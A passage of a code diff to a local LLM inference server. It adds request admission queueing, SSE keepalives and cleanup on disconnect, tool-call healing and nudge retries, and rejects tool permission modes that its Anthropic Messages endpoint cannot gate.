+                                {"type": "output_text", "text": _msg_text, "annotations": []}
                             ],
                         },
                     },
@@ -8886,14 +11794,111 @@ async def _responses_stream(
         api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
+    async def admitted_event_generator():
+        lease = reservation.lease_nowait()
+        admission_wait_started_at = None
+        stream_started = False
+        stream_cancelled = False
+        iterator = None
+        try:
+            if lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "responses_stream",
+                    completion_id = resp_id,
+                    level = "debug",
+                )
+                async for wait_item in _openai_admission_wait_stream_chunks(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = None,
+                ):
+                    if isinstance(wait_item, str):
+                        yield wait_item
+                        continue
+                    lease = wait_item
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "responses_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = resp_id,
+                        level = "debug",
+                    )
+                    break
+            if lease is None:
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = None,
+            )
+            iterator = event_generator()
+            stream_started = True
+            try:
+                async for chunk in iterator:
+                    yield chunk
+            except asyncio.CancelledError:
+                stream_cancelled = True
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
+            finally:
+                await _close_openai_admitted_stream_iterator(
+                    iterator,
+                    cancelled = stream_cancelled,
+                )
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _responses_admission_failed_sse(exc, status_code = 503)
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        finally:
+            if lease is not None:
+                lease.release()
+            if not stream_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+
+    async def _responses_admission_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+
     return _SameTaskStreamingResponse(
-        event_generator(),
+        admitted_event_generator(),
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
             "Connection": "close",
             "X-Accel-Buffering": "no",
         },
+        unstarted_cleanup = _responses_admission_unstarted_cleanup,
     )
 
 
@@ -9003,6 +12008,13 @@ _STUDIO_ANTHROPIC_TOOL_ALIASES = {
     "python": "python",
     "terminal": "terminal",
 }
+# Server tools that never need a confirmation prompt (read-only / non code-
+# executing; mirrors the unconditional-safe names in is_potentially_unsafe_tool_call).
+# Any other selected tool (terminal, python, render_html) can require the gate
+# this channel has no way to present, so an omitted permission_mode ("ask") only
+# asks then. render_html is excluded because a networked canvas prompts in auto,
+# and this channel invokes the loop without confirm; auto/ask reject, off/full run.
+_ANTHROPIC_UNPROMPTED_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
 
 
 def _anthropic_requested_studio_tools(tools: Optional[list]) -> set[str]:
@@ -9151,7 +12163,7 @@ async def anthropic_count_tokens(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Same Anthropic → OpenAI translation as anthropic_messages: system is
@@ -9163,8 +12175,11 @@ async def anthropic_count_tokens(
     # Apply the same sanitization /messages does before generation, so the count
     # matches the prompt the real request would build (otherwise empty-assistant
     # sentinels / synthetic tool history inflate the count or hit the fallback).
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
     openai_tools = anthropic_tools_to_openai(payload.tools or []) or None
 
@@ -9221,7 +12236,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded and not _automatic_model_load_may_run():
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # max_tokens is a required field on the Anthropic Messages API; real Anthropic
@@ -9260,6 +12275,53 @@ async def anthropic_messages(
             ),
         )
 
+    # Reject an unsupported confirm-gated permission mode for Studio's own
+    # ("server") Anthropic tools before the switch, mirroring the malformed- and
+    # mixed-tool checks above. ask always wants a per-call pause this passthrough
+    # cannot offer, so it 400s whenever server tools are selected. auto only needs
+    # the gate for an unsafe call, so (like the omitted default) it runs for a
+    # safe-only selection (web_search/RAG) and 400s when a gate-needing tool is
+    # selected (local terminal/python, or render_html whose networked canvas
+    # prompts and cannot be gated on this channel). Rejecting must happen before the
+    # switch so an invalid request never evicts the resident model; it is
+    # determined from the requested tools alone (backend tool support is only known
+    # post-switch); an image request can never take the server-tool path, so it is
+    # excluded as in the server_tools gate below. off/full and an explicit
+    # confirm_tool_calls=False opt-out always pass.
+    _enable_pre = _effective_enable_tools(payload)
+    _server_tools_requested_pre = (
+        _enable_pre or (_enable_pre is None and bool(requested_studio_tools))
+    ) and not _anthropic_request_has_image(payload)
+    if _server_tools_requested_pre:
+        from core.inference.tools import ALL_TOOLS as _ALL_TOOLS_PRE
+
+        _selected_pre = _select_anthropic_server_tools(
+            _ALL_TOOLS_PRE, requested_studio_tools, payload.enabled_tools
+        )
+        _perm_mode_pre = getattr(payload, "permission_mode", None)
+        _confirm_opt_out_pre = getattr(payload, "confirm_tool_calls", None) is False
+        _gated_tool_selected_pre = any(
+            tool["function"]["name"] not in _ANTHROPIC_UNPROMPTED_SAFE_TOOLS
+            for tool in _selected_pre
+        )
+        # An explicit confirm_tool_calls=False opts out of the gate entirely (it
+        # wins over the mode, mirroring _permission_mode_confirm and the GGUF path),
+        # so it never rejects -- not even under ask.
+        if not _confirm_opt_out_pre and (
+            _perm_mode_pre == "ask"
+            or (_perm_mode_pre in ("auto", None) and _gated_tool_selected_pre)
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = anthropic_error_body(
+                    "permission_mode 'ask' has no confirmation channel for Anthropic "
+                    "Messages server tools, and 'auto' (or the omitted default) cannot "
+                    "gate a local 'terminal'/'python' tool here; set 'off' or 'full'.",
+                    status = 400,
+                    err_type = "invalid_request_error",
+                ),
+            )
+
     # require_vision rejects a swap to a text-only target before it runs, so an
     # image request can't evict the resident vision model only to hit the vision
     # guard (_normalize_anthropic_openai_images) below after the load.
@@ -9272,7 +12334,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Advertised repo id after an auto-switch load, else a clean public id, never
@@ -9292,8 +12354,11 @@ async def anthropic_messages(
     # builders apply the same strip; without it an Anthropic /v1/messages caller
     # replaying a prior provider-side tool_use forwards fake builtin tool
     # history to a backend with no matching function declarations.
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
 
     # Enforce vision guard + re-encode embedded images to PNG so the Anthropic
@@ -9342,7 +12407,9 @@ async def anthropic_messages(
         and not _has_image
     )
     client_tools = (
-        not server_tools and len(openai_client_tools) > 0 and llama_backend.supports_tools
+        not server_tools
+        and len(openai_client_tools) > 0
+        and getattr(llama_backend, "supports_tool_passthrough", llama_backend.supports_tools)
     )
 
     # Anthropic tool_choice.disable_parallel_tool_use caps the response to a
@@ -9410,6 +12477,7 @@ async def anthropic_messages(
                     session_id = payload.session_id,
                     cancel_id = payload.cancel_id,
                     disable_parallel_tool_use = _disable_parallel,
+                    auto_heal_tool_calls = payload.auto_heal_tool_calls,
                 )
             )
         return await _monitored_anthropic(
@@ -9429,6 +12497,8 @@ async def anthropic_messages(
                 presence_penalty = presence_penalty,
                 tool_choice = openai_tool_choice,
                 disable_parallel_tool_use = _disable_parallel,
+                auto_heal_tool_calls = payload.auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
             )
         )
 
@@ -9451,6 +12521,10 @@ async def anthropic_messages(
             )
         from core.inference.tools import ALL_TOOLS
 
+        # ask/auto (and an omitted mode selecting a gate-needing terminal/python
+        # tool) were already rejected before the auto-switch above, so an invalid
+        # confirm-gated request never evicts the resident model; the selection
+        # here just picks the tools for the actual server-tool loop.
         openai_tools = _select_anthropic_server_tools(
             ALL_TOOLS,
             requested_studio_tools,
@@ -9472,10 +12546,16 @@ async def anthropic_messages(
             else:
                 openai_messages.insert(0, {"role": "system", "content": _nudge})
 
-        # Strip stale tool-call XML from conversation
+        # Strip stale tool-call XML via the protected display helper (think rehearsal and [TOOL_CALLS]
+        # prose survive), gated on enabled tool names so documented inactive examples are kept.
+        _anthropic_history_gate = _display_tool_name_gate(openai_tools)
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _TOOL_XML_RE.sub("", _msg["content"]).strip()
+                _msg["content"] = _strip_tool_xml_for_display(
+                    _msg["content"],
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _anthropic_history_gate,
+                ).strip()
 
         def _run_tool_gen():
             return llama_backend.generate_chat_completion_with_tools(
@@ -9492,12 +12572,15 @@ async def anthropic_messages(
                 cancel_event = cancel_event,
                 max_tool_iterations = 25,
                 auto_heal_tool_calls = True,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 tool_call_timeout = 300,
                 session_id = payload.session_id,
+                thread_id = payload.thread_id,
                 # Anthropic passthrough has no rag_scope field (RAG is local-only).
                 rag_scope = getattr(payload, "rag_scope", None),
                 disable_parallel_tool_use = _disable_parallel,
                 bypass_permissions = bool(payload.bypass_permissions),
+                permission_mode = getattr(payload, "permission_mode", None),
             )
 
         if payload.stream:
@@ -9520,6 +12603,7 @@ async def anthropic_messages(
                 message_id,
                 model_name,
                 disable_parallel_tool_use = _disable_parallel,
+                openai_tools = openai_tools,
             )
         )
 
@@ -9573,6 +12657,10 @@ async def _anthropic_tool_stream(
     """Streaming response for the tool-calling path."""
     _sentinel = object()
 
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
+
     # Prompt-token count for message_start.usage.input_tokens. count_chat_tokens
     # makes blocking HTTP calls to llama-server, so run it off the event loop.
     # Pass the tools so tool-schema tokens are counted (the generator renders
@@ -9596,13 +12684,14 @@ async def _anthropic_tool_stream(
         ends_on_tool_use = False
         tool_blocks_emitted = 0
         drop_until_tool_end = False
+        # Last drop-branch keepalive, seeded to stream start so a chatty tool busy
+        # past the stall window still gets a keepalive though its events are dropped.
+        _last_drop_keepalive = time.monotonic()
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between events, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # event or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        _next_task = None
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # events, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -9611,13 +12700,42 @@ async def _anthropic_tool_stream(
                 if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
-                event = await asyncio.to_thread(next, gen, _sentinel)
+                # Stall keepalive (see GGUF tool stream): silent backend segments
+                # must not leave the SSE stream idle past proxy timeouts.
+                _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel))
+                while True:
+                    _done_tasks, _ = await asyncio.wait(
+                        {_next_task},
+                        timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                    )
+                    if _done_tasks:
+                        break
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                event = _next_task.result()
+                # Done; drop the reference so the finally-block drain no-ops.
+                _next_task = None
                 if event is _sentinel:
                     break
                 etype = event.get("type")
+                if etype == "heartbeat":
+                    # Tool-wrapper heartbeat -> SSE keepalive, checked BEFORE the drop
+                    # skip: a dropped tool still runs server-side and its events keep the
+                    # stall keepalive from firing, so dropping heartbeats would go silent.
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    continue
+                if etype in ("tool_output", "tool_args"):
+                    # Live stdout / arg streaming have no Anthropic Messages equivalent
+                    # (the full call/result follow in tool_use / tool_result), so drop them.
+                    # They keep the stall keepalive from firing, so a chatty tool would go
+                    # silent past the ~100s proxy cap; emit a rate-limited keepalive instead.
+                    _now = time.monotonic()
+                    if _now - _last_drop_keepalive >= _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S:
+                        _last_drop_keepalive = _now
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    continue
                 if drop_until_tool_end:
-                    # disable_parallel_tool_use: a later tool call is being
-                    # dropped — skip every event until (and including) its tool_end.
+                    # disable_parallel_tool_use: skip every event until (and
+                    # including) this dropped tool call's tool_end.
                     if etype == "tool_end":
                         drop_until_tool_end = False
                     continue
@@ -9627,9 +12745,15 @@ async def _anthropic_tool_stream(
                         captured_finish_reason = _fr
                 # Strip leaked tool-call XML from content events first, so a
                 # content event that was purely tool XML doesn't count as text.
+                # Protected helper preserves <think> rehearsal and balanced
+                # [TOOL_CALLS] trailing prose (raw _TOOL_XML_RE.sub corrupts both).
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _TOOL_XML_RE.sub("", event["text"])
+                    event["text"] = _strip_tool_xml_for_display(
+                        event["text"],
+                        auto_heal_tool_calls = True,
+                        enabled_tool_names = _display_names,
+                    )
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -9652,12 +12776,24 @@ async def _anthropic_tool_stream(
                     yield line
         except Exception as e:
             logger.error("anthropic_messages stream error: %s", e)
-            _error_event = _anthropic_stream_error_event(e)
+            # force = True so an unclassified mid-stream failure (llama-server crash,
+            # decode OOM, dropped socket) still emits an SSE error and returns, instead
+            # of a normal message_stop that masks a truncated turn as a clean finish.
+            _error_event = _anthropic_stream_error_event(e, force = True)
             if _error_event is not None:
                 yield _error_event
                 return
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+            # Drain a still-running next(gen) worker before closing, so a mid-prefill
+            # disconnect releases the thread/generator/tool resources. Closing first
+            # would race into ValueError('generator already executing').
+            await _drain_pending_next_task(_next_task, cancel_event)
+            if gen is not None:
+                try:
+                    await asyncio.to_thread(gen.close)
+                except (RuntimeError, ValueError):
+                    pass
 
         stop_reason = openai_finish_to_anthropic_stop(
             captured_finish_reason, had_tool_calls = ends_on_tool_use
@@ -9694,11 +12830,9 @@ async def _anthropic_plain_stream(
         captured_finish_reason = None
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between chunks, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # chunk or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        _next_task = None
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # chunks, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -9707,7 +12841,20 @@ async def _anthropic_plain_stream(
                 if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
-                cumulative = await asyncio.to_thread(next, gen, _sentinel)
+                # Stall keepalive (see Anthropic tool stream) each window while
+                # next(gen) runs in a worker.
+                _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel))
+                while True:
+                    _done_tasks, _ = await asyncio.wait(
+                        {_next_task},
+                        timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                    )
+                    if _done_tasks:
+                        break
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                cumulative = _next_task.result()
+                # Done; drop the reference so the finally-block drain no-ops.
+                _next_task = None
                 if cumulative is _sentinel:
                     break
                 if isinstance(cumulative, dict):
@@ -9723,12 +12870,24 @@ async def _anthropic_plain_stream(
                     yield line
         except Exception as e:
             logger.error("anthropic_messages stream error: %s", e)
-            _error_event = _anthropic_stream_error_event(e)
+            # force = True so an unclassified mid-stream failure (llama-server crash,
+            # decode OOM, dropped socket) still emits an SSE error and returns, instead
+            # of a normal message_stop that masks a truncated turn as a clean finish.
+            _error_event = _anthropic_stream_error_event(e, force = True)
             if _error_event is not None:
                 yield _error_event
                 return
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+            # Drain a still-running next(gen) worker before closing, so a mid-prefill
+            # disconnect releases the thread/generator/model resources. Closing first
+            # would race into ValueError('generator already executing').
+            await _drain_pending_next_task(_next_task, cancel_event)
+            if gen is not None:
+                try:
+                    await asyncio.to_thread(gen.close)
+                except (RuntimeError, ValueError):
+                    pass
 
         stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False)
         for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None):
@@ -9787,6 +12946,7 @@ async def _anthropic_tool_non_streaming(
     message_id,
     model_name,
     disable_parallel_tool_use = False,
+    openai_tools = None,
 ):
     """Non-streaming response for the tool-calling path.
 
@@ -9805,6 +12965,9 @@ async def _anthropic_tool_non_streaming(
     usage = {}
     prev_text = ""
     captured_finish_reason = None
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
     # Pending client tool_use; cleared by tool_end (server execution) or
     # trailing text. See the stop_reason mapping below.
     ends_on_tool_use = False
@@ -9814,8 +12977,10 @@ async def _anthropic_tool_non_streaming(
     for event in events:
         etype = event.get("type", "")
         if etype == "content":
-            # Strip leaked tool-call XML
-            clean = _TOOL_XML_RE.sub("", event["text"])
+            # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose).
+            clean = _strip_tool_xml_for_display(
+                event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names
+            )
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -9939,13 +13104,15 @@ def _build_passthrough_payload(
 ):
     body = {
         "messages": openai_messages,
-        "tools": openai_tools,
-        "tool_choice": tool_choice,
         "temperature": temperature,
         "top_p": top_p,
         "top_k": top_k,
         "stream": stream,
     }
+    if openai_tools:
+        body["tools"] = openai_tools
+        if tool_choice is not None:
+            body["tool_choice"] = tool_choice
     if seed is not None:
         body["seed"] = seed
     if stream and stream_options is not None:
@@ -9999,6 +13166,7 @@ async def _anthropic_passthrough_stream(
     session_id = None,
     cancel_id = None,
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
 ):
     """Streaming client-side pass-through: forward tools to llama-server and
     translate its stream to Anthropic SSE without executing anything."""
@@ -10035,6 +13203,16 @@ async def _anthropic_passthrough_stream(
 
     async def _stream():
         emitter = AnthropicPassthroughEmitter()
+        # Promote text-form tool calls (declared client tools only) into
+        # tool_use blocks; verbatim behavior when healing is off or no tools.
+        # tool_choice arrives here already converted to the OpenAI shape.
+        _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+        if _allowed_tools:
+            emitter.enable_healing(
+                _allowed_tools,
+                openai_tools,
+                disable_parallel_tool_use = disable_parallel_tool_use,
+            )
         for line in emitter.start(message_id, model_name, input_tokens = input_tokens):
             yield line
 
@@ -10096,7 +13274,7 @@ async def _anthropic_passthrough_stream(
                 yield build_anthropic_sse_event(
                     "error",
                     anthropic_error_body(
-                        f"llama-server error: {_err_text}",
+                        _friendly_upstream_error(_err_text),
                         status = resp.status_code,
                     ),
                 )
@@ -10141,13 +13319,17 @@ async def _anthropic_passthrough_stream(
                     yield event
                 return
         finally:
-            await _aclose_stream_resources(
-                watchers = (cancel_watcher, disconnect_watcher),
-                iterator = lines_iter,
-                resp = resp,
-                client = client,
-            )
-            _tracker.__exit__(None, None, None)
+            # Same shape as the OpenAI passthrough: a close-time CancelledError
+            # re-raised by _aclose_stream_resources must not skip the tracker exit.
+            try:
+                await _aclose_stream_resources(
+                    watchers = (cancel_watcher, disconnect_watcher),
+                    iterator = lines_iter,
+                    resp = resp,
+                    client = client,
+                )
+            finally:
+                _tracker.__exit__(None, None, None)
 
         for line in emitter.finish():
             yield line
@@ -10171,6 +13353,8 @@ async def _anthropic_passthrough_non_streaming(
     presence_penalty = None,
     tool_choice = "auto",
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
+    nudge_tool_calls = None,
 ):
     """Non-streaming client-side pass-through."""
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
@@ -10199,38 +13383,109 @@ async def _anthropic_passthrough_non_streaming(
     if resp.status_code != 200:
         raise HTTPException(
             status_code = resp.status_code,
-            detail = f"llama-server error: {resp.text[:500]}",
+            detail = _friendly_upstream_error(resp.text[:500]),
         )
 
     data = resp.json()
+    # tool_choice arrives here already converted to the OpenAI shape.
+    _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+
+    # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model
+    # tried to call a tool but nothing usable came out; re-ask once with the
+    # prompt prefix intact so llama-server's KV cache is reused.
+    if (
+        _allowed_tools
+        and nudge_enabled(nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, openai_tools)
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await nonstreaming_client().post(
+                target_url,
+                json = retry_body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools):
+                    data = retry_data
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     choice = (data.get("choices") or [{}])[0]
     message = choice.get("message") or {}
     finish_reason = choice.get("finish_reason")
 
-    content_blocks = []
-    text = message.get("content") or ""
-    if text:
-        text = _TOOL_XML_RE.sub("", text).strip()
-        if text:
-            content_blocks.append(AnthropicResponseTextBlock(text = text))
+    healing_active = bool(_allowed_tools)
+    healed_events = (
+        heal_openai_message_events(message, _allowed_tools, openai_tools)
+        if healing_active
+        else None
+    )
 
-    tool_calls = message.get("tool_calls") or []
-    # disable_parallel_tool_use: keep only the first tool_use block.
-    if disable_parallel_tool_use and len(tool_calls) > 1:
-        tool_calls = tool_calls[:1]
-    for tc in tool_calls:
-        fn = tc.get("function") or {}
-        try:
-            args = json.loads(fn.get("arguments", "{}"))
-        except json.JSONDecodeError:
-            args = {}
-        content_blocks.append(
-            AnthropicResponseToolUseBlock(
-                id = anthropic_tool_use_id(tc.get("id")),
-                name = fn.get("name", ""),
-                input = args,
+    content_blocks = []
+    tool_calls = []
+    if healed_events:
+        emitted_tool_uses = 0
+        for kind, value in healed_events:
+            if kind == "text":
+                text = str(value).strip()
+                if text:
+                    content_blocks.append(AnthropicResponseTextBlock(text = text))
+                continue
+            if disable_parallel_tool_use and emitted_tool_uses >= 1:
+                continue
+            fn = value.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            tool_calls.append(value)
+            emitted_tool_uses += 1
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(value.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
+            )
+    else:
+        text = message.get("content") or ""
+        if text:
+            # Keep unpromoted bytes when healing is active; legacy stripping is
+            # only for opted-out or no-client-tool requests. Protected helper (not
+            # raw _TOOL_XML_RE.sub): preserves <think> rehearsal and balanced
+            # [TOOL_CALLS] trailing prose, gated on the declared tools so an
+            # inactive NAME[ARGS]{...} example in the final text is kept.
+            if not healing_active:
+                text = _strip_tool_xml_for_display(
+                    text,
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _display_tool_name_gate(openai_tools),
+                )
+            text = text.strip()
+            if text:
+                content_blocks.append(AnthropicResponseTextBlock(text = text))
+
+        tool_calls = message.get("tool_calls") or []
+        if disable_parallel_tool_use and len(tool_calls) > 1:
+            tool_calls = tool_calls[:1]
+        for tc in tool_calls:
+            fn = tc.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(tc.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
             )
-        )
 
     stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls))
 
@@ -10458,6 +13713,55 @@ def _openai_messages_for_passthrough(payload) -> list[dict]:
     return messages
 
 
+def _flatten_content_parts_for_local_template(messages: list[dict]) -> list[dict]:
+    """Flatten OpenAI content-part lists to plain strings.
+
+    Local text templates take string content and raise on part lists (e.g. a
+    remote ``image_url`` that leaves ``image is None``): keep the text parts,
+    drop the rest, like the plain non-GGUF path. GGUF keeps the parts."""
+    out = []
+    for msg in messages:
+        content = msg.get("content")
+        if isinstance(content, list):
+            text_parts = [
+                part.get("text", "")
+                for part in content
+                if isinstance(part, dict) and part.get("type") == "text"
+            ]
+            msg = {**msg, "content": "\n".join(text_parts) if text_parts else ""}
+        out.append(msg)
+    return out
+
+
+def _structured_tool_history_for_local_template(messages: list[dict]) -> list[dict]:
+    """Deserialize assistant ``tool_calls[].function.arguments`` JSON strings to
+    mappings for local templating.
+
+    Clients send prior-turn arguments as JSON strings, but local templates take
+    mappings (some raise on strings). Only the internal messages copy is
+    rewritten; the HTTP response stays OpenAI-shaped and unparseable strings
+    are left untouched."""
+    out = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list) and tool_calls:
+            new_calls = []
+            for tc in tool_calls:
+                fn = tc.get("function") if isinstance(tc, dict) else None
+                args = fn.get("arguments") if isinstance(fn, dict) else None
+                if isinstance(args, str):
+                    try:
+                        parsed = json.loads(args)
+                    except ValueError:
+                        parsed = None
+                    if isinstance(parsed, dict):
+                        tc = {**tc, "function": {**fn, "arguments": parsed}}
+                new_calls.append(tc)
+            msg = {**msg, "tool_calls": new_calls}
+        out.append(msg)
+    return out
+
+
 def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict], bool]:
     """Build llama-server messages for the standard GGUF chat path.
 
@@ -10522,6 +13826,9 @@ def _build_openai_passthrough_body(
     system_prompt, _, _ = _extract_content_parts(payload.messages)
     messages = _set_or_prepend_system_message(messages, system_prompt)
     tool_choice = payload.tool_choice if payload.tool_choice is not None else "auto"
+    tools = payload.tools
+    if payload.tool_choice == "none" and not _has_openai_tool_history(payload.messages):
+        tools = None
     # Forward per-request reasoning fields (enable_thinking / reasoning_effort /
     # preserve_thinking) via chat_template_kwargs so the Jinja template renders
     # in the caller's mode, gated on the active template's capabilities exactly
@@ -10537,12 +13844,12 @@ def _build_openai_passthrough_body(
     )
     return _build_passthrough_payload(
         messages,
-        payload.tools,
+        tools,
         payload.temperature,
         payload.top_p,
         payload.top_k,
         # Honor max_completion_tokens on the tools/response_format passthrough too.
-        _effective_max_tokens(payload),
+        _effective_openai_max_tokens(payload),
         payload.stream,
         stop = payload.stop,
         min_p = payload.min_p,
@@ -10566,62 +13873,310 @@ async def _openai_passthrough_stream(
     completion_id,
     monitor_id: Optional[str] = None,
 ):
-    """Streaming client-side pass-through for /v1/chat/completions.
-
-    Forwards the client's OpenAI function-calling request to llama-server and
-    relays the SSE stream back verbatim, preserving llama-server's native
-    response ``id``, ``finish_reason`` (including ``"tool_calls"``),
-    ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so
-    the client sees a standard OpenAI response.
-    """
-    target_url = f"{llama_backend.base_url}/v1/chat/completions"
-    body = _build_openai_passthrough_body(
-        payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
-    )
-
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
     _tracker.__enter__()
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _tracker.__exit__(None, None, None)
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_stream",
+            completion_id = completion_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
